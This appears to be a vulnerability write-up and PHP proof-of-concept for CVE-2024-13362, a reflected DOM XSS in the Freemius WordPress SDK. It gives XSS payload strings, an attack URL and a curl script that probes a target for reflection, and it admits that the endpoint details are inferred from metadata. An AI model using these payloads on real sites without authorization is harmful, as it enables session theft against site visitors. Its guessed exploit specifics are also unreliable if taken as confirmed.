Atomic Edge analysis of CVE-2024-13362 (metadata-based): This is a reflected DOM-based cross-site scripting (XSS) vulnerability in Freemius SDK versions up to 2.10.1, affecting multiple WordPress plugins and themes including the premmerce-woocommerce-product-filter plugin version 3.7.3. The vulnerability has a CVSS score of 6.1 (Medium) and requires user interaction through a crafted link. No patched version is available.
The root cause, inferred from the CWE-79 classification and description, is improper sanitization of the url parameter in Freemius SDK components. The description states insufficient input sanitization and output escaping leads to reflected XSS. The DOM-based nature suggests JavaScript manipulates the document object model using attacker-controlled data from the url parameter without proper encoding. This conclusion is inferred from metadata, as no code diff is available.
Exploitation requires an attacker to craft a malicious URL targeting a Freemius callback or redirect endpoint. The url parameter passes through insufficiently escaped JavaScript code. The attacker delivers the link via phishing or other social engineering. When the victim clicks the crafted URL, the malicious JavaScript executes in the browser context of the vulnerable WordPress site. A typical attack URL would be: http://target.com/?freemius_redirect=1&url=javascript:alert(‘XSS’) or similar DOM XSS payloads that break out of a script context.
Remediation requires implementing proper output encoding for the url parameter when it appears in JavaScript contexts. The fix must apply esc_js() before echoing the parameter into script blocks, or avoid passing raw user input into DOM manipulation methods like innerHTML, document.write, or eval. Input sanitization using esc_url_raw() and output escaping with esc_url() for href attributes is also necessary. Since no patch exists, updating to a future Freemius SDK version is advised.
Impact includes arbitrary script execution in the victim’s browser session. An attacker can steal session cookies, perform actions as the logged-in user, deface the page, or redirect to malicious sites. Since the attack targets DOM manipulation, it can bypass many server-side XSS filters if the vulnerable code runs in the browser after page load. The attack requires user interaction, reducing severity but still posing a significant risk to site visitors.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// Assumptions:
// - Target site has a plugin or theme using Freemius SDK 2.10.1 or earlier
// - The vulnerable endpoint is triggered via a GET request with 'freemius_redirect' and 'url' parameters
// - The 'url' parameter is reflected into a JavaScript context without proper escaping
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// Payload: Attempt to break out of a JavaScript string or variable assignment
// Common pattern: Freemius checkouts or redirects use: var redirectUrl = 'USER_INPUT';
$xss_payload = "';alert('XSS');//";
$malicious_url = $target_url . '/?freemius_redirect=1&url=' . urlencode($xss_payload);
echo "[+] Atomic Edge PoC for CVE-2024-13362n";
echo "[+] Target: $target_urln";
echo "[+] Sending crafted request...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
// Check if the payload appears in the response (as an indicator)
if (strpos($response, $xss_payload) !== false) {
echo "[!] The payload appears to be reflected in the response. The site may be vulnerable.n";
echo "[!] Manual verification required: Visit the generated URL in a browser.n";
} else {
echo "[-] Payload not found in response. The site may not be vulnerable, or the endpoint differs.n";
}
echo "[+] Generated malicious URL for manual testing: $malicious_urln";
